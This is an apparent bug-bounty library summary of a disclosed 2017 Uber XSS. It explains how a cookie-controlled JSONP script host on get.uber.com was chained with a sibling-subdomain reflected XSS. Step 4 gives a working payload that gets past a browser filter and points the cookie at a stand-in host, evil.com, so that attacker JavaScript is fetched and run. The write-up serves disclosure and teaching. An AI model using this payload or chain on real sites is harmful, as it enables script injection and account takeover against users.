# Uber XSS via Cookie

Cookie-controlled rfiServer value in get.uber.com JSONP loader let a sibling-subdomain XSS set _rfiServer=evil.com and execute attacker JS on get.uber.com.

- Payout: $5,000
- Severity: high
- Program: Uber
- Credited: Chaobin Zhang
- Disclosed: 2017-08-30
- Write-up quality: 7/10
- Original: http://zhchbin.github.io/2017/08/30/Uber-XSS-via-Cookie/
- Library page: https://bugbountylibrary.com/r/blog%3Azhchbin-github-io-2017-08-30-uber-xss-via-cookie
- Tags: domain:web impact:ato kind:bounty platform:blog sev:high technique:chained technique:source-review vuln:crlf-injection vuln:xss

**Target:** get.uber.com JSONP loader (idrCall) and a reflected XSS on a sibling uber.com subdomain
**Root cause:** The idrCall JSONP loader reads this.rfiServer from the _rfiServer cookie and builds a script URL from it without validation, so any uber.com subdomain can set the cookie and point the JSONP load at an attacker host.
**Steps:**
1. Grep dev tools sources on get.uber.com for `jsonp`; find `idrCall` building `b = this.getProtocol() + "//" + a + "/idr.js"` where `a = this.rfiServer`.
2. Trace `this.rfiServer` to `a = this.readCookie("_rfiServer"), null != a && this.setRfiServer(a)` — cookie-controlled.
3. Find a reflected XSS on any `*.uber.com` subdomain: `"` unencoded in an input tag, `type="text"` after injection point, and `>` stripped (bypasses Chrome XSS Auditor via `o>nerror`).
4. Payload: `?email=aaa" type="image" src=1 o>nerror="eval(decodeURIComponent(location.hash.substr(1)))#document.cookie='_rfiServer=evil.com;domain=.uber.com;expires=Sat, 27 Jan 2999 01:43:57 GMT;path=/';location.href="https://get.uber.com";`
5. Victim loads the crafted URL; sibling-subdomain XSS sets `_rfiServer=evil.com` for `.uber.com`, then redirects to get.uber.com.
6. get.uber.com reads the cookie, issues JSONP to `https://evil.com/idr.js`, executing attacker JS in get.uber.com origin.
**How found:** Searched Chrome dev tools sources for the keyword `jsonp` on get.uber.com; spotted `this.rfiServer` used to build a script URL, hypothesized it was attacker-controllable, then traced it to `readCookie("_rfiServer")`.
**Exploitation:** Chain a reflected XSS on any uber.com subdomain (in-scope or not) to write the domain-wide `_rfiServer` cookie to an attacker host, then redirect the victim to get.uber.com where the JSONP loader fetches and executes `https://evil.com/idr.js` in the get.uber.com origin.
**Escalation:** Cross-subdomain cookie scope (`.uber.com`) turns a low-value out-of-scope reflected XSS into XSS on the higher-value get.uber.com origin.
**Insight:** When a JSONP/script loader derives its host from a cookie, check cookie Domain scope: any sibling subdomain (even out-of-scope) that can set a `.parent` cookie becomes a pivot to execute JS on the target origin.
